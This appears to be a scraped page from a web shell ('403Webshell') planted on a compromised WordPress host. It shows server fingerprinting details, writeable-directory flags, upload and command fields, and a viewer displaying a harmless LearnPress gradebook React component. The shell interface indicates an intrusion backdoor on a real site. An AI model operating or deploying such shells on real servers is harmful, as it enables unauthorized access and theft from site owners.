403Webshell
Server IP : 104.21.28.229  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/learnpress-gradebook/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/learnpress-gradebook/src/components/ItemsTable.js
/* eslint-disable jsx-a11y/anchor-is-valid */

import { __ } from '@wordpress/i18n';
import { Spinner, Notice } from '@wordpress/components';
import ReactPaginate from 'react-paginate';

import { setLink } from './Breadcrumbs';

export default function ItemsTable( { data, loading, setLoading, pagination, setPage, setScreen, setQuizzID } ) {
	return (
		<div>
			{ data.posts && data.posts.length > 0 ? (
				<>
					<table className={ `wp-list-table widefat fixed striped table-view-list student ${ loading ? 'lp-gradebook-spinner' : '' }` }>
						<thead>
							<tr className="table-headers">
								<th></th>
								<th>{ __( 'Title', 'learnpress-gradebook' ) }</th>
								<th>{ __( 'Type', 'learnpress-gradebook' ) }</th>
								<th>{ __( 'Start time', 'learnpress-gradebook' ) }</th>
								<th>{ __( 'End time', 'learnpress-gradebook' ) }</th>
								<th>{ __( 'Graduation', 'learnpress-gradebook' ) }</th>
								<th>{ __( 'Status', 'learnpress-gradebook' ) }</th>
							</tr>
						</thead>
						<tbody>
							{ data.posts.map( ( ele, index ) => {
								return (
									<tr key={ index }>
										<td>{ index + 1 }</td>
										<td>
											{ ele?.type?.raw === 'lp_quiz' ? (
												<a href="" onClick={ ( e ) => {
													e.preventDefault();
													setScreen( 3 );
													setQuizzID( ele.id );

													setLink( { add: [
														{ param: 'screen', value: '3' },
														{ param: 'quiz_id', value: ele.id },
													] } );
												} } dangerouslySetInnerHTML={ { __html: ele.title } } />
											) : (
												<span className ="lp-gradebook-item__title" dangerouslySetInnerHTML={ { __html: ele.title } } />
											) }
										</td>
										<td dangerouslySetInnerHTML={ { __html: ele?.type?.render } } />
										<td>{ ele.start_time }</td>
										<td>{ ele.end_time }</td>
										<td dangerouslySetInnerHTML={ { __html: ele.graduation } } />
										<td dangerouslySetInnerHTML={ { __html: ele?.status?.render } } />
									</tr>
								);
							} ) }
						</tbody>

						{ loading && <Spinner /> }

					</table>

					{ data.total_posts > 10 && (
						<ReactPaginate
							previousLabel="&laquo;"
							nextLabel="&raquo;"
							breakLabel={ '...' }
							breakClassName={ 'break-me' }
							pageCount={ pagination }
							marginPagesDisplayed={ 2 }
							pageRangeDisplayed={ 3 }
							onPageChange={ ( pageNumber ) => {
								setPage( ( pageNumber.selected ) + 1 );
								setLoading( true );
							} }
							containerClassName={ 'pagination' }
							activeClassName={ 'active' }
						/>
					) }
				</>
			) : (
				<Notice status="error" isDismissible={ false }>
					<p>{ __( 'No data available', 'learnpress-gradebook' ) }</p>
				</Notice>
			) }
		</div>
	);
}

Youez - 2016 - github.com/yon3zu
LinuXploit